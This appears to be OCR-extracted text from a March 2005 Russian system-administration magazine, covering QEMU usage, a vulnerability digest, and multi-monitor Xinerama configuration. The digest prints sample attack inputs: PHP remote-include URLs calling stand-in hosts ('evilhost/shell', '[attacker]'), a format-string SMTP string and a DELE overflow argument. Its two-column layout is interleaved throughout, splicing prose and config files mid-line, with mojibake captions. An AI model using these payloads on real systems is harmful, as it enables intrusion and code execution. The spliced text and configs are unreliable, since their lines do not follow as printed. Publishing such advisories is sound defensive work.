(10.0.2.4). Клиент DHCP на виртуальном компьютере полу- установленную на жесткий диск. Например, на моем ком-
чает адрес в сети 10.0.2.x. В таком режиме с виртуальной пьютере не редкость две-три, а то и больше различных си-
машины пингуется только адрес 10.0.2.2, но напрямую в стем, так что теперь нет необходимости перезагружаться
Интернет с такими настройками выйти не получится, толь- каждый раз.
ко через перенаправление, о котором чуть позже. Например, такая команда запустит загрузчик Grub, ус-
тановленный у меня в MBR (рис. 2):

# qemu -snapshot -hda /dev/hda

Теперь можно выбирать и загружать нужную ОС обыч-


ным образом. Опция snapshot помогает избежать возмож-
ной потери данных, так как все модификации вместо непос-
редственной записи на диск будут производиться во времен-
ном файле, находящемся в /tmp. При этом snapshot можно
использовать также и с другими типами образов, которые
поддерживаются qemu, если необходимо оставить нетрону-
тым оригинал. Но используя сочетание клавиш <Ctrl+a, s>,
при необходимости можно сбросить все изменения на диск.

Ðèñóíîê 1
В простейшем случае скрипт /etc/qemu-ifup выглядит так:

#!/bin/sh
sudo /sbin/ifconfig $1 192.168.0.1

После чего tun-интерфейс будет сопоставлен NE2000-


совместимой эмулируемой сетевой карте. Как говорилось,
один виртуальный компьютер может иметь до 6 сетевых
карт, необходимое количество которых задается опцией –
nics с указанием числа. Добавив параметр -macaddr, мож-
но задать МАС-адрес для первого сетевого интерфейса,
МАС-адреса остальных будут автоматически инкременти-
рованы.
Если на основной системе установлен Samba-сервер, Ðèñóíîê 2
то гостевая система может общаться с основной через него, По умолчанию под гостевую операционную систему от-
для этого используется опция -smb с указанием каталога. водится 128 Мб оперативной памяти, указав при помощи
опции -m другое число, можно задать требуемый объем.
# qemu –smb /mnt/qemu -user-net -cdrom /dev/cdrom При запуске qemu эмулирует ту же аппаратную среду, в
которой он запускается, т.е. при запуске на Pentium будет
Аналогично можно активировать и встроенный ftp-сер- подражать Pentium, а если PowerPC, то будет запущен еще
вер, добавив при запуске команду: -tftp каталог. При этом один PowerPC-компьютер и т. д. Если же необходима эмуля-
все файлы, находящиеся в указанном каталоге, могут быть ция систем отличной архитектуры, то запускаем специаль-
загружены на гостевую систему. Еще одним из способов ную версию утилиты (qemu-system-ppc, qemu-system-sparc).

10
администрирование
Как говорилось выше, на сайте проекта имеются гото- # qemu-img convert –f cow cowimage.cow image.raw
вые образы различных операционных систем и архитектур.
Версии небольшого объема не всегда могут удовлетворять При этом может быть задан как входной, так и выход-
по функциональности, а архивы более 1 Гб тащить из Ин- ной формат образа, поддерживаются raw, qcow (удобен для
тернета накладно, поэтому лучше такой образ подготовить маленьких файлов, поддерживает шифрование и сжатие),
и самому, собрав в него самые необходимые приложения. cow, формат VMWare – vmdk и cloop (Linux Compressed Loop)
Для этих целей используется утилита qemu-img, при помо- для образов CD-ROM. Использовав команду info, можно
щи которой создается новый виртуальный жесткий диск. получить информацию о готовом образе.
В некоторых случаях может возникнуть необходимость
# qemu-img create linux.img 1500M в замене параметров загрузки Linux-системы, записанной
на виртуальный диск. Сделать это можно при помощи оп-
Хотя никто не мешает использовать для этих целей и dd. ций -kernel, -initrd и -append. Значения которых совпадают с
таковыми в конфигурационных файлах загрузчиков.
# dd of=hd.img bs=1024 seek=1048576 count=0
# qemu-fast -nographic -hda linux.img ↵
-kernel bzImage-2.4.21 -append "console=ttyS0 ↵
После того как такой жесткий диск создан, можно уста- root=/dev/hda sb=0x220,5,1,5 ide2=noprobe ide3=noprobe
навливать в него операционную систему. ide4=noprobe ide5=noprobe"

# qemu -hda linux.img -cdrom /dev/cdrom -boot d Для запуска команды qemu-fast потребуется первоначаль-
но изменить гостевое ядро, наложив патч linux-2.6-qemu-
В этом примере мы указываем qemu на то, что жесткий fast.patch, который можно найти в архиве с исходными тек-
диск находится в контейнере hdd.img, в качестве CD-ROM стами. Этот режим использует напрямую реальный Memory
устройства /dev/cdrom и загрузка будет происходить с CD- Management Unit (MMU) вместо эмулируемого при обычном
ROM (параметр -boot d). Последний параметр в нашем при- режиме работы qemu. Но с ним работайте осторожно, так
мере необходим, так как по умолчанию qemu будет загру- как основная и гостевая системы используют одно адресное
жаться с жесткого диска. Если нужно указать на загрузку с пространство, что может привести к проблемам безопасно-
дискеты, используется -boot а, с жесткого диска -boot с. сти или нарушению стабильности работы основной систе-
Естественно, никто не мешает вместо реального диска ис- мы. Кроме того, в режиме qemu-fast пока полноценно под-
пользовать его iso-образ. Но большинство дистрибутивов держивается не вся периферия. Поэтому при работе в Linux
распространяется не на одном, а на нескольких дисках, по- лучше использовать KQEMU. Но, скорее всего, скомпилиро-
этому необходимо дополнительное управление, которое ванный модуль, поставляемый вместе с архивом, у вас от-
обеспечивается при помощи опции -monitor, открывающей кажется работать, а в документации не сказано, под какую
терминал, в котором можно изменять параметры эмуляции, именно версию ядра он собирался, поэтому необходимо бу-
выбирать другое устройство, либо исходный файл. дет собрать модуль самому. Сделать это просто. Распако-
вываем архив в каталог с исходными текстами qemu.
# qemu -monitor stdio -hda linux.img ↵
-cdrom altlinux_cd1.iso -boot d # cd qemu-0.6.1
# tar zxvf /tmp/kqemu-0.6.2-1.tar.gz
И когда установятся пакеты с первого образа, заменя-
ем файл. После чего собираем qemu, как описано выше. Для ус-
пешной компиляции понадобятся исходники рабочего ядра.
# qemu change -cdrom altlinux_cd2.iso Работает KQEMU через устройство /dev/kqemu, которое
должно создаться самостоятельно. Если этого не произош-
После окончания процесса установки можно загружать- ло, сделайте сами.
ся с полученного образа.
# mknod /dev/kqemu c 250 0
# qemu linux.img # chmod 666 /dev/kqemu

После чего модуль можно запускать вручную при помо-


Кроме того, qemu поддерживает образы формата COW щи /sbin/insmod kqemu, либо при постоянной работе с вир-
(Copy On Write), используемые в User Mode Linux. Такой об- туальными машинами прописать команду в загрузочных
раз занимает меньше места, так как при его использова- скриптах. По умолчанию в /dev/shm KQEMU создает файл
нии запоминаются только изменения. Для формирования большого размера, содержащий ОЗУ виртуальной маши-
cow-образа используется утилита qemu-mkcow с указани- ны, переменной QEMU_TMPDIR можно переопределить его
ем размера в мегабайтах. местонахождение, но делать это рекомендуется только при
малом объеме основного ОЗУ, иначе это только замедлит
# qemu-mkcow cowimage.cow 1024 работу виртуальной машины.
Для удобства можно запускать qemu не в отдельном
Хотя в последнем снимке эта утилита пропала из архи- окне, а в полноэкранном режиме. Для этого добавляется
ва. В будущем вместо нее, очевидно, будет использовать- опция -full-screen, либо можно использовать комбинацию
ся qemu-img с командой convert. <CTRL+ALT+f>.

№3, март 2005 11


администрирование
Использование user mode-режима также не вызывает
особых проблем. Только предварительно необходимо ска-
чать и распаковать архив qemu-gnemul, содержащий биб-
лиотеки различных систем (x86, ARM, SPARC и PowerPC).
В user mode-режиме работы используются утилиты: qemu-
arm, qemu-i386, qemu-ppc и qemu-sparc. Для эксперимен-
тов можно использовать архив qemu-tests-0.5.1.tar.gz, со-
держащий версии основных UNIX-утилит, скомпилирован-
ных под различные платформы.
Вот так можно запустить команду ls, собраную под PPC.

# qemu-PPC ./qemu-tests/PPC/ls

По умолчанию необходимые для работы в user mode-


режиме библиотеки должны находиться в /usr/gnemul/qemu-
i386, при помощи -L можно указать другое местонахожде-
ние. При желании можно с помощью wine (на сайте проек-
та есть адаптированная версия) запустить в Linux Windows-
приложение.
Запуск и работа с qemu в Windows аналогична Linux.

C:\>qemu.exe -hda guest_image_name.img -boot c -user-net

Кроме того, при установке на рабочем столе появляет-


ся ярлык, запускающий скрипт, который помогает в диало- Ðèñóíîê 4
говом режиме ввести необходимые параметры:

Ðèñóíîê 5
Ðèñóíîê 3 Qemu представляет собой довольно мощное приложе-
Наработки проекта пришлись по вкусу многим, и как ре- ние, позволяющее эмулировать системы различных архи-
зультат появились проекты-сателлиты, позволяющие сде- тектур и запускать приложения, собранные под другие опе-
лать работу с qemu более удобной. Так, свои интерфейсы рационные системы. Конечно же, подобно прочим эмуля-
предлагают проекты KQEmu (http://kqemu.sourceforge.net, торам он не может выполнять приложения так же быстро,
рис. 4) под библиотеки Qt3 (стоит обратить внимание, что как это происходит на реальной системе, а по скорости он
название этого проекта совпадает с принятым сокращени- не отстает от проектов вроде Bochs. Но у последнего он
ем QEMU Accelerator Module). однозначно выигрывает по возможностям и удобству ра-
Запускается он несколько необычно. боты.
При этом если эмуляция используется эпизодически,
# kmdr-executor /home/sergej/work/kqemu-0.1/kqemu-0.1.kmdr время от времени, Qemu представляется мне более удоб-
ным, чем коммерческий VMWare, ключ к активации или срок
Или Qemu Launcher (http://emeitner.f2o.org/projects/qemu- использования бесплатной бета-версии, которого имеет
launcher) для сторонников GNOME/Gtk-приложений. привычку заканчиваться в самый неподходящий момент. К
Для пользователей Windows, вместо того чтобы вбивать тому же Qemu не требует предварительной настройки и
каждый раз параметры запуска, рекомендую использовать подготовки, а сам процесс от компиляции до запуска зани-
QGui (http://perso.wanadoo.es/comike, рис.5). мает минимум времени.

12
bugtraq

Множественные уязвимости в ZPanel Переполнение буфера


Программа: ZPanel 2.5b10 и более ранние версии. при обработке LHA-заголовков
Опасность: Высокая. во многих продуктах McAfee
Описание: Уязвимости позволяют удаленному пользовате- Программа: McAfee VirusScan, McAfee VirusScan ASaP,
лю произвести SQL-инъекцию, выполнить произвольные ко- McAfee WebShield, McAfee GroupShield, McAfeeNetShield вер-
манды и получить доступ к важной информации на системе. сии библиотек до 4400.
1. SQL-инъекция возможна из-за недостаточной фильт- Опасность: Высокая.
рации входных данных в переменной uname в сценарии Описание: Уязвимость существует при обработке LHA-
index.php. Злоумышленник может определить наличие име- файлов в McAfee Antivirus Library. Удаленный пользователь
ни учетной записи и произвести перебор паролей. может послать специально сформированный LHA-файл,
2. SQL-инъекция и php-инклудинг возможны из-за некор- вызвать переполнение буфера и выполнить произвольный
ректной обработки входных данных в сценарии zpanel.php. код с привилегиями Local System.
Пример: URL производителя: http://www.mcafee.com.
Решение: Установите обновление с сайта производителя.
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell

3. По умолчанию после установки не удаляется устано-


вочный сценарий. Уязвимость форматной строки
Пример: в MailEnable
Программа: MailEnable 1.8 Standard Edition.
http://localhost/ZPanel/admin/install.php
Опасность: Высокая.
4. ZPanel использует уязвимые сценарии других произ- Описание: Уязвимость существует из-за недостаточной
водителей, например phpBB Forums 2.0.8a. фильтрации входных данных в SMTP-команде mailto. Уда-
URL производителя: http://www.thezpanel.com. ленный пользователь может послать серверу специально
Решение: Способов устранения уязвимости не существу- сформированную строку и вызвать отказ в обслуживании.
ет в настоящее время. Пример:
mailto: %s%s%s\r\n

PHP-инклудинг в mcNews URL производителя: http://www.mailenable.com.


Программа: mcNews 1.3. Решение: Способов устранения уязвимости не существу-
Опасность: Высокая. ет в настоящее время.
Описание: Уязвимость существует в сценарии mcNews/
admin/header.php из-за недостаточной фильтрации входных
данных в переменной skinfile. Удаленный пользователь мо- Повышение привилегий в Sun Solaris
жет с помощью специально сформированного URL выпол- Программа: Sun Solaris 7, 8, 9.
нить произвольный php-сценарий на уязвимой системе. Опасность: Низкая.
Пример: Описание: Уязвимость обнаружена в команде newgrp. Ло-
http://[target]/[dir]/mcNews/admin/header.php? ↵ кальный пользователь может вызвать переполнение буфе-
skinfile=http://[attacker]/ ра и выполнить произвольный код с root-привилегиями на
URL производителя: http://www.phpforums.net/index.php? системе.
dir=dld. URL производителя: http://www.novell.com
Решение: Способов устранения уязвимости не существу- Решение: Установите обновление от производителя.
ет в настоящее время.

Переполнение буфера в различных


Переполнение буфера диссекторах в Ethereal
в ArGoSoft FTP Server Программа: Ethereal 0.9.1 – 0.10.9.
Программа: ArGoSoft FTP Server 1.4.2.8. Опасность: Средняя.
Опасность: Высокая. Описание: Несколько переполнений буфера обнаружены
Описание: Уязвимость обнаружена при обработке коман- в диссекторах Etheric, GPRS-LLC, 3GPP2 A11, IAPP, JXTA и
ды DELE. Удаленный авторизованный пользователь может sFlow. Удаленный пользователь может вызвать отказ в об-
послать в качестве аргумента команды строку длиной бо- служивании или выполнить произвольный код на уязвимой
лее 2000 символов, вызвать переполнение буфера и вы- системе.
полнить произвольный код на уязвимой системе. Пример: Пример/Эксплоит: http://www.securitylab.ru/53246.html.
URL производителя: http://www.ethereal.com.
DELE \x41 x 2000
Решение: Установите последнюю версию (0.10.10) от про-
URL производителя: http://www.argosoft.com. изводителя.
Решение: Способов устранения уязвимости не существу-
ет в настоящее время. Составил Александр Антипов

№3, март 2005 13


администрирование

LINUX XINERAMA:
ОДИН МОНИТОР ХОРОШО, А МНОГО ЛУЧШЕ

ПАВЕЛ ЗАКЛЯКОВ
Данная статья рассказывает о подключении нескольких мо- новился. Смотреть на такой монитор было неудобно (уж
ниторов к компьютеру с установленной ОС Linux (RedHat очень большой), цена заоблачная, плюс не каждая видео-
Linux v.7.3, Fedora Core 3 и ASPLinux 10) и приводит рабо- карта могла поддерживать такую махину на максимальных
чие примеры конфигурационных файлов для оконной сре- видеорежимах. Специальная видеокарта стоила примерно
ды X-Window. столько же, сколько и монитор. По истечении некоторого
Сколько пользователю ни дай, а ему всё мало. Так и времени появились LCD- и TFT-панели. Если отбросить тех-
хочется сказать: «Таблеток от жадности и побольше, по- нологические особенности, то развитие TFT-технологий шло
больше...» Если лет 10 назад у пользователей в основном и идёт по тому же пути улучшения качества и увеличения
были 14" CGA- и EGA-модели мониторов и о большем, чем размера диагонали (как следствие – разрешения). Един-
VGA с разрешением 320 х 200 точек при 256 цветах или ственное небольшое отличие от пути развития CRT-техно-
640 х 480 при 16 цветах мечтать не приходилось, а боль- логий появилось из-за параллельного развития DVD-инду-
шие диагонали и разрешения встречались только в типог- стрии, которая породила новый сегмент рынка – домашние
рафиях и на графический станциях, то сейчас многие лю- кинотеатры, где нашли своё применение мониторы с диа-
бители могут за небольшие деньги приобрести такое, что гональю более 22".
не в каждой типографии есть. На сегодняшний день ситуация такова, что продвинутым
Вначале, после VGA стали появляться SVGA-мониторы, пользователям 17" мало, а 19" и выше – это дорого. Почув-
диагональ увеличились до 15". Качество и «плоскость» кар- ствовав данную ситуацию года четыре назад и учтя тот факт,
тинки улучшались. Потом были пройдены рубежи 17" и 19", что AGP-шина в компьютере только одна, многие фирмы ста-
вплоть до 22". После 22" рост на какое-то время приоста- ли производить dualhead-видеокарты. На сегодняшний день

14
администрирование
можно сказать, что лишь только самые дешёвые и урезан- EndSection
ные версии видеокарт имеют один видеовыход. Все же ос- Section "InputDevice"
тальные де факто имеют 2 видеовыхода. Количество людей, Identifier "Mouse0"
использующих мультидисплейные конфигурации в самых Driver "mouse"
Option "Device" "/dev/mouse"
различных областях, растёт [8]. Два видеовыхода – это да- Option "Protocol" "IMPS/2"
леко не предел, есть дорогие модели на 3 видеовыхода (вро- Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
де Matrox Parhelia 512 или P750) и даже больше [7]. EndSection
Пока производители видеокарт совершенствовали же- Section "InputDevice"
лезо и писали для него «хитрые» драйвера, разработчики Identifier "DevInputMice"
операционных систем не стояли в стороне, и начиная с Driver "mouse"
Option "Protocol" "IMPS/2"
Windows 98 появилась поддержка нескольких видеокарт Option "Device" "/dev/input/mice"
средствами ОС. Это позволило увеличивать площадь ра- Option "ZAxisMapping" "4 5"
Option "Emulate3Buttons" "no"
бочего стола только старыми аппаратными средствами. EndSection
Если железо и программы готовы, так почему бы не ис- Section "Monitor"
пользовать несколько мониторов для работы, особенно если DisplaySize 1024 768
площадь вашего компьютерного стола позволяет? Это ведь ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
очень удобно: в два-три раза больше видимая площадь при Identifier "Monitor0"
относительно малой стоимости. Конечно, есть и некоторые VendorName "Samsing"
ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
неудобства – половина окна тут, половина окна там (на HorizSync 30.0 - 98.0
другом мониторе), но эта проблема частично решается спе- VertRefresh 50.0 - 160.0
Option "dpms"
циальным программным обеспечением, перемещающим EndSection
окна, вроде HydraVision под Windows. Именно по этому пути Section "Monitor"
я и пошёл. Моя история с настройкой началась, когда я со- DisplaySize 1024 768
всем недорого купил в 2001 году видеокарту RadeonVE, а ModeLine "1024x768" 135.920 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
чуть позже, где-то через полгода, второй б/у монитор. Identifier "Monitor1"
Драйвера от ATI+HydraVision под NT4.0 работали на ура, VendorName "Samsung"
ModelName "SyncMaster 700IFT (CSH780B*)"
а вот под Red Hat Linux v.7.3 пришлось повозиться с настрой- HorizSync 30.0 - 98.0
кой. Второй монитор показывал копию первого, и оба рабо- VertRefresh 50.0 - 160.0
Option "dpms"
тали на 85 Гц вместо возможных 120 Гц. Мне же хотелось EndSection
под X иметь и подходящее разрешение, и частоту обновле- Section "Device"
ния, и один широкий рабочий стол вместо двух одинаковых. Identifier "Videocard0"
Долгие поиски в конце концов увенчались успехом. Из Driver "radeon"
VendorName "Videocard vendor"
нескольких документов (на сегодня сохранились лишь [1, 2]) BoardName "ATI Radeon VE"
был создан файл /etc/X11/XF86Config-4 следующего содер- BusID "AGP:1:5:0"
Screen 0
жания: EndSection

Section "Device"
Section "ServerLayout" Identifier "Videocard1"
Option "Xinerama" "on" Driver "radeon"
Identifier "Multi Head" VendorName "Videocard vendor"
Screen 0 "Screen0" 0 0 BoardName "ATI Radeon VE"
Screen 1 "Screen1" LeftOf "Screen0" BusID "AGP:1:5:0"
InputDevice "Mouse0" "CorePointer" Screen 1
InputDevice "Keyboard0" "CoreKeyboard" EndSection
InputDevice "DevInputMice" "AlwaysCore"
EndSection Section "Screen"
Identifier "Screen0"
Section "Files" Device "Videocard0"
RgbPath "/usr/X11R6/lib/X11/rgb" Monitor "Monitor0"
FontPath "unix/:7100" DefaultDepth 16
EndSection SubSection "Display"
Modes "1024x768"
Section "Module" Depth 16
Load "dbe" EndSubSection
Load "extmod" EndSection
Load "fbdevhw"
Load "glx" Section "Screen"
Load "record" Identifier "Screen1"
Load "freetype" Device "Videocard1"
Load "type1" Monitor "Monitor1"
Load "dri" DefaultDepth 16
EndSection SubSection "Display"
Depth 16
Section "InputDevice" Modes "1024x768"
Identifier "Keyboard0" EndSubSection
Driver "keyboard" EndSection
Option "XkbRules" "xfree86"
Option "XkbModel" "pc104" Это позволило в Red Hat Linux v.7.3 иметь один рабочий
Option "XkbLayout" "ru"
Option "XkbVariant" "winkeys" стол на два монитора с разрешением 2 х 1024 х 768 при
Option "XkbOptions" "grp:alt_shift_toggle" 120 Гц.

№3, март 2005 15


администрирование
Замечание 1. После включения режима Xinerama Linux дующие две строчки, данные из которых после поместил в
не понимал, что это два монитора, думая что это один боль- файл XF86Config-4:
шой. Многие окна появлялись половинчато. Половина тут,
половина там. [Modelines]
1024x768="1024x768" 135,920 1024 1104 1216 1392 768 ↵
Замечание 2. Проигрывание видео на двух мониторах 769 772 814 -hsync +vsync
невозможно. Картинка есть только там, где больший про-
цент окна, на другом мониторе окно чёрное. Всё хорошо, но в X при такой же ModeLine вместо нуж-
Замечание 3. К сожалению, установить нужный режим ного мне 1024 х 768 запускалось меньшее разрешение. По-
и выбрать строчку ModeLine как с помощью xvidtune, так и читав разные документы и подумав немного, как описано в
руками, читая [3], мне не удалось. Тут я пошёл на хитрость. [4], я произвёл расчёт горизонтальной частоты для своего
Установил PowerStrip под Windows. Далее шёлкнул правой случая:
кнопкой мыши на появившемся значке около часов и выб-
рал пункты меню «Display profiles» и «Configure». 768 òî÷åê * 120 Ãö * 1,05 = 96,768 ÊÃö

После посмотрел в XF86Config-4 и увидел там:

HorizSync 30.0 – 96.0

как видно, полоса оказалась больше 96.0, а «умные» X умень-


шили разрешение. Пришлось руками увеличить 96.0, напри-
мер, до 98.0. После этого нужный видеорежим заработал.

Fedora Core 3
В появившемся окне я выбрал нужный мне видеовыход Всё прекрасно работало где-то до марта 2005 года, когда
и нажал «Advanced timing options...». мне пришла в голову мысль на второй винчестер устано-
вить Linux Fedora Core3 c целью его изучения. Естествен-
но, после установки по умолчанию мои два монитора, как и
ранее в RedHat 7.3, показывали одно и то же.
«Разве это проблема?» – подумал я и полез в меню
«Приложения → Системные параметры → Дисплей» менять
настройки.

Появилось окно, где можно менять настройки в реаль-


ном времени, сразу отслеживая их изменение.

Методом ручного подбора мне удалось выжать макси-


мум из того, что могли мониторы. Далее я заглянул в файл
С:\Program Files\PowerStrip\pstrip.ini и переписал себе сле-

16
администрирование
Увы, это оказалось проблемой. Скрипт, осуществляю- Section "Monitor"
щий настройку, содержал ошибку и после выбора двух мо- Identifier "Monitor0"
VendorName "Samsung"
ниторов просто не позволял нажать кнопку «ok», ругаясь в ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
текстовой консоли, из-под которой были запущены X. Ана- DisplaySize 1024 768
HorizSync 30.0 - 98.0
логичным образом нельзя было выбрать частоту обновле- VertRefresh 50.0 - 160.0
ния экрана более 85 Гц. ModeLine "1024x768" 135.9 1024 1104 1216 ↵
1392 768 769 772 814 -hsync +vsync
Пришлось перейти к ручному режиму. Недолго думая, я Option "dpms"
заменил новый файл /etc/X11/xorg.conf старым, проверен- EndSection
ным /etc/X11/XF86Config-4 (который можно видеть выше), Section "Device"
заменив в нём Identifier "Videocard0"
Driver "radeon"
VendorName "Videocard vendor"
Option "Device" "/dev/mouse" BoardName "ATI Radeon VE"
BusID "AGP:1:5:0"
Option "MonitorLayout" "CRT, CRT"
на Option "CRT2Position" "LeftOf"
Option "MergedFB" "yes"
EndSection
Option "Device" "/dev/input/mice"
Section "Screen"
Identifier "Screen0"
однако это не помогло делу. Пришлось прочитать «man Device "Videocard0"
Monitor "Monitor0"
radeon», после чего у меня получился следующий конфигу- DefaultDepth 24
рационный файл /etc/X11/xorg.conf для поддержки двух мо- SubSection "Display"
Depth 24
ниторов: Modes "1024x768" "800x600" "640x480"
EndSubSection
EndSection
Section "ServerLayout"
Identifier "dual head configuration"
Screen 0 "Screen0" 0 0 Замечание 4. Оба монитора у меня одинаковые, режи-
InputDevice "Mouse0" "CorePointer" мы работы тоже, поэтому как следствие строчки ModeLine
InputDevice "Keyboard0" "CoreKeyboard"
EndSection для них тоже одинаковые. На практике через меню монито-
ра проверено – видеорежимы выставлены правильно. Од-
#Section "ServerFlags"
# Option "Xinerama" "true" нако если посмотреть внимательнее, то ранее использова-
#EndSection лись две раздельные строчки ModeLine на каждый мони-
Section "Files" тор, что, на мой взгляд, правильнее. На данный момент для
RgbPath "/usr/X11R6/lib/X11/rgb" второго видеовыхода можно прописать только:
FontPath "unix/:7100"
EndSection
Option "CRT2HSync" "30.0-86.0"
Section "Module" Option "CRT2VRefresh" "50.0-120.0"
Load "dbe"
Load "extmod" Но проблемы это не решает, так как возможные диапа-
Load "fbdevhw"
Load "glx" зоны горизонтальной и вертикальной развёртки – это всё-
Load "record" таки не одно и то же, что и ModeLine. Каким способом мож-
Load "freetype"
Load "type1" но настроить видеовыходы одновременно на разные режи-
Load "dri" мы, пока не известно. Внимательное чтение «man radeon»
EndSection
и эксперименты с xorg.conf результата не дали.
Section "InputDevice" Замечание 5. Несмотря на замечание 4, был и положи-
Identifier "Keyboard0"
Driver "keyboard" тельный момент. Если ранее без включения Xinerama один
Option "XkbRules" "xfree86" рабочий стол не получался, то сейчас же рабочий стол по-
Option "XkbModel" "pc104"
Option "XkbLayout" "ru" лучался общим, а панели меню занимали лишь один мони-
Option "XkbVariant" "winkeys" тор, при этом разворачивание окна во весь экран шло толь-
Option "XkbOptions" "grp:alt_shift_toggle"
EndSection ко на один монитор, что мне показалось удобным. При этом
руками окно можно растянуть на два монитора. (Поведе-
Section "InputDevice"
Identifier "Mouse0" ние, аналогичное HydraVision.)
Driver "mouse" Если же строки:
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2"
Option "Emulate3Buttons" "no" #Section "ServerFlags"
Option "ZAxisMapping" "4 5" # Option "Xinerama" "true"
EndSection #EndSection
Section "InputDevice"
Identifier "DevInputMice" раскомментировать, то тогда панели меню получались на
Driver "mouse" оба экрана, окошки вылетали по половинкам посередине,
Option "Protocol" "IMPS/2"
Option "Device" "/dev/input/mice" а при разворачивании окна занимали площадь двух мони-
Option "ZAxisMapping" "4 5" торов. Удобства от такой работы меньше. Поэтому эти стро-
Option "Emulate3Buttons" "no"
EndSection ки я оставил закомментированными.
На этом можно было бы закончить статью, но...

№3, март 2005 17


администрирование
«Два монитора хорошо, а три лучше...» Identifier "Monitor1"
Имея в наличии под руками лишнюю видеокарту S3 Trio VendorName "Samsung"
ModelName "My TFT Monitor"
64v+, я не удержался, чтобы не воткнуть её в и так доста- DisplaySize 1024 768
точно набитый системный блок и попытаться подключить HorizSync 30.0 - 98.0
VertRefresh 50.0 - 160.0
ещё один монитор. Option "dpms"
Во время загрузки карточка была обнаружена kudzu, EndSection
однако предложенная автонастройка только сбила преды- Section "Device"
дущие настройки, поэтому опять пришлось перейти в руч- Identifier "Videocard0"
Driver "radeon"
ной режим правки файла xorg.conf. В результате правки VendorName "Videocard vendor"
получилось следующее: BoardName "ATI Radeon VE"
BusID "AGP:1:5:0"
Option "MonitorLayout" "CRT, CRT" #!!
Section "ServerLayout" Option "CRT2Position" "LeftOf" #!!
Identifier "dual head configuration" Option "MergedFB" "yes"
Screen 0 "Screen1" 0 0 EndSection
Screen 1 "Screen0" RightOf "Screen1"
InputDevice "Mouse0" "CorePointer" Section "Device"
InputDevice "Keyboard0" "CoreKeyboard" Identifier "Videocard1"
EndSection Driver "s3"
BoardName "S3"
Section "ServerFlags" BusID "PCI:0:10:0"
Option "Xinerama" "true" EndSection
EndSection
Section "Screen"
Section "Files" Identifier "Screen0"
RgbPath "/usr/X11R6/lib/X11/rgb" Device "Videocard0"
FontPath "unix/:7100" Monitor "Monitor0"
EndSection DefaultDepth 16
SubSection "Display"
Section "Module" Depth 16
Load "dbe" Modes "1024x768" "800x600" "640x480"
Load "extmod" EndSubSection
Load "fbdevhw" EndSection
Load "glx"
Load "record" Section "Screen"
Load "freetype" Identifier "Screen1"
Load "type1" Device "Videocard1"
Load "dri" Monitor "Monitor1"
EndSection DefaultDepth 16
SubSection "Display"
Section "InputDevice" Depth 16
Modes "1024x768" "800x600" "640x480"
Identifier "Keyboard0" EndSubSection
Driver "keyboard" EndSection
Option "XkbRules" "xfree86"
Option "XkbModel" "pc104" Как видно, пришлось добавить разделы описания ново-
Option "XkbLayout" "ru"
Option "XkbVariant" "winkeys" го монитора и видеокарты и указать физическое располо-
Option "XkbOptions" "grp:alt_shift_toggle" жение мониторов относительно друг друга. Ничего слож-
EndSection
ного в настройке двух видеокарт нет, всё должно быть ин-
Section "InputDevice" туитивно понятно.
# Modified by mouseconfig
# Option "Device" "/dev/mouse" На мой взгляд, единственный вопрос, который может
Identifier "Mouse0" возникнуть, – это откуда берётся строчка:
Driver "mouse"
Option "Device" "/dev/input/mice"
Option "Protocol" "IMPS/2" BusID "PCI:0:10:0"
Option "Emulate3Buttons" "no"
Option "ZAxisMapping" "4 5"
EndSection Для получения значения BusID можно заглянуть в файл
Section "InputDevice" /etc/sysconfig/hwconf и найти нужную видеокарту либо про-
Identifier "DevInputMice" ще – запустить lspci и среди выведенного списка PCI-уст-
Driver "mouse"
Option "Protocol" "IMPS/2" ройств найти нужное.
Option "Device" "/dev/input/mice"
Option "ZAxisMapping" "4 5" # lspci
Option "Emulate3Buttons" "no"
EndSection ....
00:08.0 Ethernet controller:
Section "Monitor" Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10)
Identifier "Monitor0" 00:09.0 Communication controller: NetMos Technology:
VendorName "Samsung"
Unknown device 9805 (rev 01)
ModelName "Samsung SyncMaster 700IFT (CSH780B*)"
DisplaySize 1024 768 00:0a.0 VGA compatible controller:
HorizSync 30.0 - 98.0 S3 Inc. 86c764/765 [Trio32/64/64V+] (rev 54)
VertRefresh 50.0 - 160.0 01:05.0 VGA compatible controller:
ModeLine "1024x768" 135.9 1024 1104 1216 ↵ ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]
1392 768 769 772 814 -hsync +vsync
Option "dpms" AGP-устройства выводятся вместе с PCI, при этом у PCI-
EndSection устройств вначале идёт цифра 0(00:0a.0), а у AGP – 1(01:05.0).
Section "Monitor" Первое поясняющее поле у BusID не влияет на работу X,

18
администрирование
поэтому не важно, PCI или AGP вы там напишете, это нуж- Замечание 8. Всё написанное выше для Fedora Core 3
но для наглядности. справедливо для ASP Linux 10.
Замечание 6. Про несоответствие видеорежимов на Надеюсь, что настройка X через правку xorg.conf не по-
мониторах. При различных глубинах цветности на разных казалась вам сложной и при аналогичном подключении
мониторах X не запускаются. Например, если у вас одна нескольких мониторов в вашей конфигурации к одной или
карточка не поддерживает 24 бита цветности, а другая под- более видеокартам не вызовет проблем.
держивает, придётся снизить значение у последней. Если
разрешение на каком-то мониторе меньше, то создаётся Ссылки:
виртуальный рабочий стол большего размера. При подве- 1. Radeon VE Dual Display Support with Linux/XFree86: http://
дении курсора мыши к краю окна просмотра видимое поле www.polylith.com/~brendan/UnixBoxes/RadeonVE.html.
вместе с курсором начинает двигаться вплоть до противо- 2. Multiple Monitors with X Mini Guide: http://www.linux-
положной стороны виртуального экрана. lookup.com/modules.php?op=modload&name=Sections&file=
Замечание 7. Если режим Xinerama в последнем кон- index&req=viewarticle&artid=13&page=1.
фигурационном файле выключен, то пользователь видит 3. Настройка режима монитора в XFree86: http://www.inp.nsk.su/
два рабочих «меню программ» и два рабочих стола, не свя- ~buzykaev/xf_monitor.html, http://knot.pu.ru/faq/xfaq.html.
занных друг с другом. Фактически для пользователя мони- 4. Связь между полосой пропускания, частотой кадров и ча-
торы выглядят как два не связанных сеанса X. Единствен- стотой горизонтальной развертки: http://www.samsung.ru/
ная связь между которыми – это то, что пользователь мо- support/products/displays/faq/?id=114.
